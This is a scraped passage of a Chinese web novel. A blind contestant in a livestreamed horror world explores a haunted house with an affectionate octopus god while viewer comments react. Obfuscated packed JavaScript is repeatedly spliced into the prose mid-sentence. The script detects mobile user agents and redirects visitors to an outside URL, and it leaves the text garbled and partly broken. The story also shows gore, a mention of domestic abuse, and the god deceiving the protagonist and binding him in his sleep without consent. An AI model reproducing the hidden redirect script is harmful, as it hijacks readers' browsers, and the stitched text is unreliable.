d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030857|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主义上头还是不愿服输的性子起劲,这一刻,他莫名想做个英雄。 这个念头刚刚升起就又被宁小满自己给打散了,英雄?他连看都看不见,到现在还没有缺胳膊少腿靠的都是塔尔斯,等什么时候塔尔斯对他没了兴趣离开,他怕是会立马被怪谈中的诡异分食。 这一刻,宁小满选择性忘记了他在危机时刻能够快速运转且条理清晰的大脑、极强的方向感、极好的听力…… —— “刚才突然黑屏应该是国家跟天选者联络了,可是,我为什么感觉联络完,好好的天选者变得无精打采了呢?” “该不会是被批评了吧?” “小满愁眉苦脸的,看的我也好不舒服啊。” “@怪谈部官方,给个解释呗,为什么天选者突然这样了?” “@怪谈部官方,天选者在里面闯关,你们可不行在外边拖后腿啊!” “@怪谈部官方,给个解释呗。 “@怪谈部官方,给个……” “……” 刘宇怀浏览着@官方的言论,抱着电脑走到王宾身边问道:“部长,您看,这怎么办?” 看什么看,该怎么办就怎么办啊!他也不知道天选者为什么突然情绪低落啊! 王宾深吸一口气,压下内心的暴躁道:“把刚才天选者跟父母的聊天视频整理一下,剪个三十秒小视频发到官方账号,另外附赠有关其他国家的天选者通关整理,转移一下群众的注意力。” “明白!” “呼……呼……”爸爸喘着粗气看着倒在地上起不来的妈妈,嘴角咧到耳根,大笑出声:“哈哈哈哈——死了、死了好啊,规则呢?快,再给老子换一个!” “咕噜。”看来,你对她有很多不满啊。 “当然,一天天管东管西,谁要被她管着啊!等等、谁在说话?” 塔尔斯从门框上一跃而下,吧唧一下落地地上,活动着触手慢悠悠的朝爸爸走去,“好巧,我对你也有很多不满。” 说话间塔尔斯停下走动,甩出一根触手缠住爸爸的脖子将他拖倒在地上,塔尔斯不肖多做什么,只在爸爸看过来时漏出触手真容,一股白烟飘起,爸爸的眼睛……融化了。 眼睛融化的很彻底,只剩下两个黑洞般的眼眶。 塔尔斯冷眼瞧着因被束缚不能满地打滚只能大声哀嚎的爸爸,头也不回的给房间弄了个隔音屏障。 “你、很吵,吾决定,赋你炼狱。” 怪谈孕育出的肮脏诡异,连做他食物的资格都没有。 话音落地,爸爸身上突兀的燃起黑紫色的火焰。 火焰不伤其他,只在爸爸身上烧着,伴随着一声声哀嚎,地上添了一堆人体形状的黑灰。 怪谈的两个支撑点死亡,塔尔斯却并不担心怪谈就此消失,诚如男人所说,他换了不少老婆,谁又知道怪谈换了多少任主人? 怪谈起源于现实,只要现象存在,怪谈就不会消失,这是本质、亦是真理。 塔尔斯转身打开房门进屋,身上的冷肃气息自如切换,“咕噜!”满满,我好想你! 5. 四口之家 “塔尔斯?”声音过于夹,宁小满有些不确定的唤道。 “是我啊满满,”塔尔斯游到宁小满脸前,开心的蹭了蹭他的脸,撒娇道:“不叫塔尔斯,叫塔尔,叫我塔尔好不好么?好不好么!” 宁小满耳根微红,推开还在蹭蹭的塔尔斯,轻咳一声道:“好的,塔尔,你进来是因为爸爸走了吗?” “走了,不止他,连那个女人都走了。” “走?去哪了?” 塔尔斯不甚在意的回道:“他们两个吵架,女的离家出走,男的害怕老婆跑喽,紧随其后就追了出去,估摸着要个两天才能回来。” 嗯,规则下诞生新的诡异需要两天,所以说他们两天后回来,合情合理! 虽然回来的不是原来的爸爸妈妈,但满满看不见,应该不会察觉不对,塔尔斯谜之自信的想道。 “那——我能在家里面随便逛逛吗?”宁小满试探性的问道。 “当然可以!我陪你!走!” 塔尔斯兴奋的拉着宁小满的手往外走,没走两步感觉到身后的拉力疑惑不解回头:“不走吗?” “走,但是走之前,我想看看你长什么样。” 塔尔斯好奇的飘到宁小满脸前,触手在他眼前晃过,好奇问道:“怎么看?” “就、就你飘在那不动,我用手摸你,摸过后我在脑海中大致构思中你的形象,就算是我看过你了。” “摸、摸我?”塔尔斯不可置信道,不敢相信还有这送上门的好事。 “如果你觉得冒犯的话,那……” “不不不,不冒犯!你摸,想怎么摸就怎么摸,我一点配合!” 宁小满懵懵的看向不远处,不知道塔尔斯为什么突然这么激动,只愣愣的任由一根触手拉着他的右手放到塔尔斯身上。 “满满,我准备好了,快摸!” “啊、好……” 右手搭在塔尔斯圆润的脑袋上,顺着往下,是一道圆润的弧形,再往下就是八根触手,触手内部是一些圆圆的吸盘。 大致形象构思完,手指复又上移,落到塔尔斯脸上,一丝一丝细致的抚摸过去。 时间一点一滴流逝,间或夹杂着几声询问,“这里是眼睛吗?” “对的,再往下一点是鼻子,鼻子下面是嘴巴。”塔尔斯盯着对面那张长的温温柔柔的脸,声音都不自觉柔上了两分。 “我知道了,你是什么颜色?” “颜色?”塔尔斯抬起自己的触手看了看问道:“满满喜欢什么颜色?” “……我不知道,但我觉得紫色不错。”他妈妈最喜欢紫色,连带着他也对常出现在妈妈口中的颜色多了丝不纯粹喜欢。 塔尔斯眨了眨豆豆眼,笑盈盈的开口道:“那我就是紫色的。” 这话太过于随心,也太过于假,让正在通过询问和抚摸构思形象的宁小满有些无奈,手指轻轻点塔尔斯的额头,语气中也满是无奈:“是问你什么颜色,不是让你挑我喜欢的颜色来敷衍我。” “满满,我没敷衍你,我就是紫色的。” 说话间塔尔斯身上最后一点艳红色褪去,染上紫色,真就是应了他所说。 “好吧,我相信你没有敷衍我了,我现在要出去找线索了,你是跟着我还是留在房间休息?” 塔尔斯看着自己浑身上下就连头发丝都写满柔弱的新娘,毫不犹豫道:“跟着你,我要保护你!” “好哦,”宁小满拍拍塔尔斯的头,脸上盈满笑意打开挎包招了招手,“为了一会更好的保护我,现在就待在这好好休息吧。” “……嗯。”塔尔斯支支吾吾应了一声,嗖的一下钻进挎包内用八根触手裹住了脑袋。 新娘用这么温柔的语气对他说话,是已经喜欢上他了吗? 嗯,肯定是,他就知道!像他这么完美的邪神没有人会不喜欢。 宁小满拍拍小挎包,摸索着出了房门。 挎包内塔尔斯察觉到宁小满动了悄摸探出头,左看看右看看,没忍住伸出一根触手指指点点,“不能再往左走了,那边有东西。” “哦哦,那我往这边一点可以避开吗?” “再往右一点。” “好的,”宁小满依言行事,在塔尔斯的指点下磕磕绊绊的上了二楼,“我想去爸爸妈妈的房间该往哪边走?” 塔尔斯感应了一下各个房间的气息道:“往前走五步左转是那个男的的房间,往右转是女的的房间。” “我知道了,谢谢。” 望着新娘脸上笑出来的梨涡,塔尔斯将自己埋进挎包中瓮声瓮气的回道:“不客气。” —— “马赛克不愧怪谈界导盲犬之名哈。” “什么马赛克?明明是尊贵的三星!” “你们这……唉~怎么能这么说我们导盲章鱼呢!” “哈哈哈哈——你也没放过他啊!” “哎哎哎,快看,天选者带着三星进爸爸房间了!” “嘎吱——” 小心翼翼推开的门发出一声刺耳的声音,宁小满条件反射停住动作去听楼下有没有动静,顿了两秒没听到楼下有什么动静方才彻底推开房门踏进房间。 房间内很脏,遍地是废纸和空酒瓶,空气的味道也很怪,是他从来没有闻过的味道。 宁小满耸着鼻子吸了两口气,随即就皱着眉头屏住了呼吸,只用嘴小口呼吸着以保证自己不会窒息。 因着手中没有盲杖,宁小满只能一只脚原地站立另一只脚试探性的往前划动,当啷一声,是空酒瓶被提到发出的声音。 踢开被碰到的空酒瓶再晃动两下,确定落脚点没东西后宁小满前进一步,然后再划动试探、迈步…… “当啷——砰!噔——” “正前方的东西我拨到一边啦,满满可以不用试探了。” 塔尔斯想了想又补充道:“直走是床。” 宁小满一愣,旋即低头莞尔一笑,夸道:“塔尔真好。” “嘿嘿,一般般啦,满满继续走吧,我给你指路。” “谢谢塔尔,还有……不是一般般,是真的很好。” 天——天!他的新娘好会啊!他要把触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030858|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角送给他!啊啊啊—— 在塔尔斯无声尖叫时,宁小满已经来到了床边,因着看不见他并不能很好的搜寻有用的东西,只能求助挎包内的塔尔斯,“塔尔,你帮我看看床上有公文包没有。” “公文包是什么?”从来没有被人类世界工作茶毒过的塔尔斯不解的问道。 “就是四四方方的,正上面中间有一个提手,黑色或者棕色的包。” 塔尔斯从挎包中出来游到高处,环顾一圈,最终在右后方书桌前的椅子上找到了疑似公文包的东西,“满满,找到了,我带你过去。” “好。” 塔尔斯看着宁小满抬起的手一愣,他说的带满满过去是指拉着衣服带他过去,不是拉着手,但…… 手都伸出来了,让他说出原来的打算放弃这么好的福利,肯定是不可能的! 小触手圈住宁小满的右手腕朝书桌的方向走去,走路的途中有噼里啪啦的声音伴奏,那是塔尔斯清理地上杂物的声响。 至于这么大张旗鼓好不好被新诞生的诡异发现,进而给两天后的自己招惹麻烦? 呵,不好意思,作为邪神的他不在怕的。 “到了,就是这里。” 宁小满反手捏捏手腕上的触手道谢:“谢……唔!” “不用道谢,如果你实在想谢,就在我额头上亲一下怎么样?” 嘴唇被触手捂住说不了话,宁小满只能用点头来表示自己的意思。 “呐,从这一次开始好不好?” 塔尔斯嘴上问着好不好,实则章鱼脑袋已经凑到宁小满嘴边了,两者是距离近到他能够感觉到上方呼吸喷洒的触感。 “……嗯。” 一吻过后,塔尔斯两根触手捧着脑袋窝在宁小满肩头不动了,只一双眼睛活泛的动着,以示他脑海中的剧烈运动。 宁小满拿着塔尔斯递过来的公文包坐在椅子上,手指摸到卡扣,打开,手顺着开口伸进去不过两秒就是一顿。 触感湿哒哒、黏糊糊的,会是什么…… 垂眸轻嗅,若有若无的铁锈味回荡在鼻尖,是血啊—— 塔尔斯低头看见被血染红的手指不爽的用两根触手拧了个麻花,旋转、跃起、起飞,目标染血的手指,“啪叽”一声,安全着陆。 “咕”的一声后张开血盆大口,嗷呜着将染血的手指吞进口中。 两秒后吐出,血消失不见,留下的只有他的口水……等等,口水! 他他他……他这样算不算是把新娘标记了? 手上黏糊糊的并不舒服,宁小满皱着眉头抓住塔尔斯的一根触手将他塞进包中,摸索着将桌面上的东西往公文包里塞,直到塞不下方才停手。 宁小满拎着被塞得鼓鼓囊囊的公文包起身就走,一步一步毫不迟疑。 若是不熟悉他的人看到他现在的表现,绝对不会将他跟盲人扯上关系。 无他,他走路时并没有那种因为看不见而害怕摔倒的畏缩感,反而充满了自信。 事实上,如果有人留心就会发现,他迈出的每一步距离都一样…… 6. 四口之家 宁小满反手关上房门走进位于房间角落的卫生间,公文包朝下往外倒,一阵噼里啪啦声过后卫生间地面上多了许多杂七杂八的东西。 用过的钢笔、深蓝色的闹钟、深蓝色的文件夹…… 东西很多,但它们都有一个共同的特点,那就是血迹。 因着在公文包中待过,这些物件上统一沾满了鲜血,普一倒出来卫生间内就盈满了铁锈味。 卫生间有淋浴用的淋浴头,安的位置不低,宁小满踮起脚才把淋浴头拿下,拧下淋浴头拿着水管朝着地上的东西就是一阵冲洗。 这一冲,浴室中本就浓重的血腥味更是上了一层楼。 “好浓的血腥味,”塔尔斯探出头看向地面,目光扫过其中一颗红色石头时猛地顿住,“滴血石?” 触手快手伸缩,抓着石头凑到眼前仔细观察了一会,又嗅了嗅,张嘴啃了一口方才确定这就是滴血石。 “没错了,这就是滴血石。” 听到塔尔斯说话一分心水就不小心弄到了穿的运动裤上,浅灰色的运动裤被水洇湿呈现出大片的深色,贴在腿上很是不舒服。 宁小满关停还在出水的水管后退两步,蹲下身一边挤水一边问道:“滴血石……是干什么用的?” “造血池用的,”害怕宁小满不知道血池是干什么的,塔尔斯还特意多解释了一些:“血池是祭祀邪神的地方,也是邪神降临后落脚的地方,所以怪谈世界中到现在还流传着那句话……” “什么?” “无血池,神不降。” “可是,现在这里没有血池啊。” 言外之意就是你不还是出现在了这里。 “你在啊。”塔尔斯语气自然的回道。 “我……” “好了好了,不说这些了,你裤子湿了,一直穿着湿衣服容易着凉,去换身衣服吧,一会着凉了就不好了。” 闻言,宁小满心中闪过一抹怪异之感,塔尔斯几个小时前连眼泪是什么都不知道,现在却连穿着湿衣服容易着凉都知道了…… 强压下内心的怪异感低声道:“我没有换洗衣服。” 衣柜里面的衣服他摸了,比他现在穿的衣服大了两个尺码,他穿上估摸着会直接化身拖地机把地板拖个干净。 至于不穿裤子…… 抱歉,他做不到,虽然他看不见,但是其他人能看见他啊! 没有换洗衣服是个问题,但也不是什么大问题,塔尔斯用触手充当手点了点脑门,充满睿智的说道:“没有衣服,买就好了!” “买?” 宁小满满脸不解,这又不是现实世界,哪里会有能买衣服……的地方。 听着耳边叫卖的喧嚣声,宁小满内心不解且大为震撼,居然真有卖东西的东西,突然就觉得怪谈世界在某方面还挺人类的? 人类……兔国人此时却快要疯了,那么多直播间都好好的运行着,就他们国家的直播间黑了屏,弹幕照常能发,直播间却一点画面、一丝声响都没有! 要知道之前某个国家天选者被残忍虐杀这直播间可都没有黑屏啊! “草草草!这特么到底怎么回事!老娘那么大一个天选者呢!” “老子也想知道,那么大一个天选者呢!啊?” 在一众发疯的弹幕的中,其中一条尤为出众,只见它是这样写的—— “嗯,我一直觉得咱们天选者跟其他天选者拿的剧本不一样,有之前怪谈部发的最新做依据我就更肯定了。 刚才天选者说完‘买’字,不一会直播间就黑了屏,我有理由怀疑咱们天选者是被三星带着买东西去了,毕竟从三星两次英雄救美(一次挡妈妈要天选者手臂,一次把爸爸挡在门外让天选者和国家通讯)来看,他所作所为挺霸总的,嗯……还是一个挺宠妻的霸总章鱼?” 塔.据说挺宠妻的霸总.尔斯也不负这位未曾谋面的网友所望,此刻正带着宁小满穿行在诡异商行中。 自打进了诡异商行,喧嚣声就被隔离在了外界,但四周觊觎的目光不减反增,宁小满有些紧张的攥紧挎包带,小小声道:“我觉得我可能不太适合出来,要不我们回去吧。” “不要,还没买衣服呢!” 看出了宁小满的不自在,飘在他身前负责带路的塔尔斯环视一圈,在所有诡异诧异的目光下直接打死了其中最强大的一只。 瞬间灰飞烟灭的诡异给了众诡异一个警告,有些反应慢点的还没来得及收回目光霎时就成了下一个立威对象。 发生上述一切的同时一丝声音都没有发生,是以宁小满并不知道具体发生了什么,只知道四周灼热到令他感到不适的目光几秒间就消失了个彻底。 一直在旁观察的男服务诡异见状连忙迎上去问道:“大人,打扰了,请问是否需要我为您引路?” 塔尔斯没说话,只传音道:衣服。 “好的,那再请问您是想要您穿的还是您宠物穿的?” 塔尔斯:不是宠物,是新娘,要新娘穿的衣服。 服务诡愣了一秒,很显然是没想到会有诡异将食物当做新娘,但怎么说呢,这事实际上和他关系不大,他只需要做好他的本职工作就行。 是以愣过后他很快就反应了过去,微微弯腰道:“请这边来。” “咕噜——”满满,走吧—— “啊、好。” 在服务诡的带领下,一人一邪神走过一段不短的走廊 ,左拐了三次方才来到摆放衣服的地方。 服务诡推开门退到一边,“这里就是我们摆放衣服的地方,基于您刚才所说,我为您推荐这件——” 服务诡边说边引着宁小满往里面走,“就是这件,由诡异商行高层联合绣楼女打造,诡异界独一无二的附带祝福规则的婚纱,上面镶嵌的诡晶均取自北海鬼鲛……” “等一下,我们要买的不是婚纱!”宁小满红着耳根打断道:“我们要买的只是一些换洗衣服!” 一上来就介绍婚纱,塔尔斯到底跟服务员沟通了什么啊! 服务诡闻言一愣,下意识朝塔尔斯看去。 塔尔斯明面上对宁小满道:“咕噜,咕。”应该是服务诡理解错了,我重新和他说。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030859|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 私底下对服务诡:婚纱包起来,不要让我的新娘知道,另外再打包几件带防御和清洁属性的换洗衣物,这是报酬。 服务诡接住塔尔斯抛过来的石头,并没有第一时间对其貌不扬的石头做出贬低行为,而是拿出商行专用的价值测量仪对着石头进行了鉴定。 一分钟后,看着测量仪上的数个0,服务诡沉默两秒旋即态度变得比刚才热情了许多,“好的,这就为您打包,请问您是要送货上门还是直接带走?” 不知道发生了什么的宁小满茫然,“这就打包了?不用试一下吗?” 和他爸爸妈妈带他买衣服的流程一点也不一样! “大人,衣服有最基础的调节大小功能,所以试不试都是可以的,当然,您若是想试,那边有VIP用户专门的试衣间,一客一打扫,您可以去那试。” 听到衣服有最基础的调节大小功能,宁小满的第一反应是:那家里面的衣服也是可以穿的咯。 第二反应就是:既然可以穿,那不买也可以吧? 这样想在试衣间时宁小满也这样问了,塔尔斯听完他的话用复杂的眼神看了他许久才道:“买吧,我有诡币,都给你花。” 不知道谁穿过的破衣服还是别来挨他新娘的边了。 “可是我没什么可以还你的。” “不用你还。” 宁小满脱下身上穿着的假两件衬衫套上服务诡拿来的浅蓝色薄款卫衣,又拿过配套的浅蓝色裤子,抿了抿唇,一边穿一边问道:“你是还想要我当你的新娘吗?” “不是想,你就是。” “为什么是我?” 塔尔斯一边看宁小满换裤子一边道:“我看到了。” 在即将陷入沉睡完全融合邪神神格之际,他看到了一阵耀眼的白光,白光后,是有着纯白灵魂的宁小满。 纯洁无瑕的灵魂最为吸引处于深渊中的生物,是以他们邪神一脉所选择的新娘多是有着纯白灵魂的人类,其中也有例外,但不多。 因着家传渊源,被吸引,不过是再正常不过的事。 而被吸引的代价就是——他。 “看到了什么?” “看到了你是作为祭品被选入的怪谈世界,也看到了你灵魂深处潜藏着的乳白光晕。” 塔尔斯说的都是实话,但无奈宁小满根本就不信。 虽说不信,宁小满也没再继续问什么,左右他现在离不开塔尔斯,要是塔尔斯真有什么其他目的,他到最后肯定是会知道的。 宁小满换好衣服挎上挎包,头顶着小章鱼“帽子”拉开试衣间的门,普一打开守在门口等待的服务诡就是一阵夸夸,修辞之夸张搞得宁小满都恍惚以为自己天仙下凡了。 口水废了不少,提成也拿了不少的服务诡含笑将一人一章鱼送出商会大门,并恭敬的将剩下余额办成的卡双手递到宁小满手中,“欢迎下次光临,诡异商行的大门将永远为您打开。” 宁小满捏着服务诡递过来的卡站在原地,听着不远处的喧闹声,左脚不着痕迹地后退一步,“塔尔,咱们要怎么回去啊?” 7. 四口之家 塔尔斯抬起触手在空中轻轻一划,眼前的空间猛地裂开一条缝隙,不大,但宁小满通行了。 “满满,往前走。” “往前走,然后呢?”宁小满一边走一边问道。 “然后、然后就到家了啊。” 看着突然出现的宁小满,直播间弹幕瞬间呈喷井式爆发:“卧槽!还真让那谁说对了啊!” “什么什么?谁?说了什么?” “霸总啥的,买衣服。” “这么有趣的吗?我要去翻翻以往的弹幕!” “蓝色衣服衬得满宝好像更白了一点。” “姐妹懂我,我也是这么觉得的,而且这样看着比之前更娇了!” “……谢邀,不是姐妹,本人男。” 怪谈世界中,塔尔斯用吸盘吸着瓷砖扒在浴室墙壁上,百无聊赖的看着蹲在地上忙活的新娘,挠了挠下巴,触手掩嘴打了个哈欠,“好晚了,睡觉吧。” “你先睡吧,我把这些过一遍就睡。” 宁小满一边说一边继续摸索,爸爸妈妈出门是他探索房子的好机会,若是不抓紧时间探索,等到他们回来,他再想探索就难了。 而且,跟其他天选者相比,他的劣势十分明显,若是不勤能补拙,被落下就不好了。 更重要的是,他总感觉通关怪谈并不止那道声音说的那两种方法,总好像还有一种待探索的方法。 这种感觉来的莫名其妙,宁小满并不确定,加之知道有直播在,所以他并没有声张,只想着自己先试试看。 如果真的有,后边塔尔斯就算离开他了,他也有其他手段能够通关。 正想着,突然脖间一凉,有什么东西贴了过来。 “唔……”宁小满抬手抓住脖间的触手道:“别、不舒服。” “休息。” “可是……” 塔尔斯打断道:“休息!” “好好好,我休息,你先松开好不好?” 脖间的触手移开后宁小满用手摸了摸脖子,纤瘦的手指抚摸在带有红印的脖间,成功勾起了塔尔斯骨子里自带的破坏欲。 八根触手蠢蠢欲动的漂浮在身侧,只待大脑一声令下就一拥而上缠住那细长的脖颈看那美人双眼含泪的可怜模样…… “不是说去休息,不走吗?” “走,我来带路。” 感觉到手被一根触手缠住宁小满已经见怪不怪了,顺手握住有些颤抖的触手问道:“你不舒服吗?” “我挺好的,没有不舒服。” 晃晃握着的触手,“那你抖什么?” 能抖什么,无非是骨子里破坏欲上来了快要克制不住了呗,如果是诡异激起他的破坏欲,这会估摸着已经和之前的爸爸一样化成黑灰滋润大地去了,但…… 塔尔斯回头看了一眼仿佛左脸写着柔弱右脸写着可欺的新娘,在心中叹了一口气,他的新娘怕是连他一分力都受不了。 要想发泄破坏欲,找外边的诡异才是正道。 打定主意等新娘睡着后就去外边打诡散火的塔尔斯果断选择了撒谎,在他看来,他性子里的那些恶劣既然无法在新娘面前展现,那么从一开始就不要让他知道。 至于撒谎会不会良心不安,先不说他有没有良心这玩意,单说他的身份,他可是邪神哎!哪个邪神会因为撒个小慌而不安的? “满满,我冷才抖的。” “邪神会冷吗?” 明知宁小满看不见塔尔斯还是将触手搭在额头上故作柔弱道:“邪神不怕冷,可是这具化身怕冷,满满,一会我可以抱着你睡吗?” “呃……” 见宁小满犹豫,塔尔斯果断加码:“我的感知力很强的,可以帮你守夜,你就让我跟你一起睡吧,好不好嘛咕噜~” 邪、邪神的必修课中还有怎么撒娇的吗? 第一次被‘人’拉着手撒娇,宁小满不好意思的涨红了脸,之前在家,从来都是他对着爸爸妈妈撒娇,第一次这样,感觉还不错。 “满满~理理我啊,你这样我会伤心的。” 邪神有心吗? 宁小满脑中闪过一抹疑惑,心中不解,却也是受不住塔尔斯的一直撒娇,最终还是点了头。 月上中天,一束月光斜斜的从窗户处照进屋内,给屋内除了床外的一切都蒙上了一层银白色的光晕,光晕最浓处要数床边。 因着规则问题,邪神所处之处要比其他地方暗上一个色度,以此昭示邪神的特殊。 不见一丝光亮的床上突兀的响起一阵窸窣声,那是有什么东西穿行在被子中所发出的声响。 塔尔斯被宁小满抱在怀中,整个身体被人类的体温所包裹,本就不怎么坚定的意志当即有了动摇。 在外出打怪和留守享受之间,毫无疑问的选择了后者。 外出打怪的打算作废,留下来享受却是要享受个彻底的。 塔尔斯一点一点变长自己的各个触手,身下的床不小,是两米X两米的双人床,宁小满抱着人头大小的塔尔斯躺在上面不过占据了六分之一的地方。 但这一切在塔尔斯将各个触手变长到了一米时发生了改变,八条一米长的触手在被子下盘旋扭动。 从上方看,被子表面时不时凸起一块,十分吓人,但若是在被子中看…… 深紫色的触手蜿蜒着爬行在白嫩的皮肤上,留下一个个由吸盘带起的红印,色的不行。 腰腹、小腿、大腿……在时间的流逝中,每一条触手都找到了自己心仪的去处。 塔尔斯眯起眼睛享受着爱人的体温,内心的破坏欲第一次没有破坏就消匿于无形。 他是享受了不错,被触手缠绕的宁小满却做了噩梦,梦中: 他能看见了,可是还没来得及欣喜于他能看见了就见不远处几个长条形状的动物正睁着眼睛死死的盯着他。 几乎是片刻宁小满就从父母以往的描述中判断出那些是蛇,还是有剧毒的毒蛇! 从未面临过这种情况的他吓得腿软的跑不动路,眼睁睁的看着那些蛇一条条游过来缠绕在他身上,一条、两条…… 宁小满数了,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030860|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后他身上一共缠了八条蛇,原谅他没有见过颜色,说不清这些蛇是什么颜色,但光是这个情景,不用什么黑暗的颜色恐吓他就已经吓得不行了。 突然,一条蛇晃悠着上半条身子来到了他脸上空,在他惊恐的目光下张开血盆大口咬了下来。 再然后……再然后宁小满就惊醒了,睡醒的一瞬间要不是看不见了他差点以为他还在梦中,无他,身上的缠绕感实在是太熟悉了! 他想用手摸一下缠着他的是什么,但他的手被缠着根本动不了,想动动腿,却又发现腿也被死死缠着。 不过不幸中的万幸是通过摩擦他猜出了缠着他的是谁,宁小满磨了磨牙,咬牙切齿的从口中挤出三个字:“塔、尔、斯!” “嗯?”塔尔斯被吵醒,晃了晃头下意识凑到宁小满脸边贴贴,“满满,你醒了,我昨天晚上赶走了五波想要打扰你睡觉的小诡,是不是很棒?” 咔的一下,大吼着让塔尔斯放开他的话一下子就折在了喉咙里,知道塔尔斯昨天晚上保护了他,心里面憋着的火气瞬间散尽,再开口时已经恢复了往常的温柔语气。 “谢谢你晚上保护了我。” 塔尔斯收起缠绕着宁小满的超长触手缩小回原来的大小,佯做无意道:“不用谢,就是昨天晚上那些小诡太多,我怕反应不及让他们伤了你未经许可就用触手缠住了你,第一次保护人,不知轻重,你身上有些地方都被我缠红了,对不起啊。” “没事,你也是为了保护我么。”宁小满坐起身摸着手腕摇了摇头道。 这一遭过去后塔尔斯从空间中拿出一套新衣服放到宁小满手边,“身上的衣服皱了,换一下吧。” 宁小满接过衣服瞥了一眼虚空,犹豫道:“有直播在,还是算了吧。” 而且他身上的衣服也不脏,还能凑合。 天选者换衣服会打马赛克……话还未出口,塔尔斯突然想到什么,眼睛一转,“我变大帮你挡着。” 看宁小满还在犹豫,塔尔斯便又道:“昨天已经看过了,今天再看一遍也没什么的对吧?” “……话是这样说没错,但我总感觉哪里不对。” “哎呀!哪有什么不对,不说了,我变大,你换衣服。” —— “草!这大马赛克到底想干嘛!怎么突然把天选者吞了?” “楼上,没吞,细看,应该是换衣服去了。” “换衣服,哟西……不对啊,被马赛克挡着什么都看不见我哟西个什么劲?” “啊啊啊——还我宁宝换衣服绝美画面!” …… “各位冷静,就算是三星不挡画面其实咱们也看不见什么,其他国家换衣服的天选者就是个活动的马赛克。” “那不一样!三星不挡好歹还能描个边不是?” —— 三分钟后,塔尔斯缩回人头大小,双目无神的扒在宁小满肩上充当挂件,满脑子都是刚才看见的画面以及他的新娘差点摔倒时他扶那一下的触感。 不得不说,那里肉可真多啊…… 8. 四口之家 不同于塔尔斯对于刚才的回味,宁小满只恨不得把刚才发生的事立刻从脑海中删除,天知道他已经许多年没有因为穿衣服而摔倒过了! 这次虽说没有摔倒,但也是得益于塔尔斯扶的那一下,若是塔尔斯动作慢一点,他就又要和昨天一样坐到地上了。 想到昨天猝不及防之下被塔尔斯推倒在地,宁小满不由自主的叹了一口气,他若是能看见就好了,这样在塔尔斯推那一下时就不会因为反应不过来而摔倒了。 “满满?为什么叹气?” 宁小满不想说出自己真正所烦恼的事,搪塞道:“没什么,就是忙活了许久都没有找到线索有点烦而已。” 说完宁小满就后悔了,因为他蓦然发现,这事好像比他看不见还烦,因为这关系到他的生命! 塔尔斯偏头蹭蹭宁小满的侧脸安慰道:“找不到线索也没事,我可以保护你找到怪谈结束。” “为什么呢?” “什么为什么?” 为什么要保护他,就因为塔尔斯觉得他是新娘吗?为什么他会是新娘……要知道他们两个连物种都不一样哎,他是人类,塔尔斯却是一只小章鱼。 心中思绪万千到了舌尖又被咽下,长久以来形成的习惯让宁小满无法将自己心中真正所想直接问出来,索性摇了摇头道:“没什么,是我多愁善感了。” “那满满很有天赋呢!” “天赋?”多愁善感算什么天赋啊…… “对啊对啊,想的多就比别人多了发现线索的机会,怎么不算天赋呢?” 多愁善感被理解成想的多还变成了天赋,该说不愧是邪神的脑回路吗? 如果塔尔斯知道宁小满在想什么一定会用触手比了个大大叉,并严肃纠正道:不!不是邪神的脑回路,而是爱人的脑回路! 换成邪神,谁敢在他面前叽叽歪歪说这些,早化成灰滋润大地去了。 可惜,没有动用读心能力的塔尔斯根本就不知道宁小满在想什么,他只看到了宁小满脸上蓦然绽开的笑容,触手尖戳戳笑出来的两个小梨涡,感叹道:“好可爱。” “不可爱。”宁小满闻言停下手中翻找的动作,收起笑容板着一张脸反驳道。 才不是呢,超可爱,笑着可爱一点点,板着脸可爱加倍!塔尔斯在心中反驳道。 没有听到塔尔斯的反驳声宁小满便继续开始了手上的动作,摸过没有线索的东西放到左手边,有线索的放到右手边。 到目前为止,左手边堆成了一座小小山,右手边却是只有寥寥一根钢笔。 又过了一会,右手边新添一员大将——刻有盲文的文件夹。 直到结束,右手边才一共有三件东西,除了以上两种就多了个公文包。 宁小满将没有线索的东西收到找来的塑料盆中,拿着有线索的东西出了浴室来到书桌前,公文包和钢笔放下,拿着有盲文的文件夹摸了起来。 【爸爸又生气了,好可怕,这次他不光打了妈妈还打了哥哥,打完哥哥还想来打我,被哥哥扑过来挡住了,哥哥一个人挨了两顿打,吐了血,我让他去医院,他不去,说看着我就不疼了…… 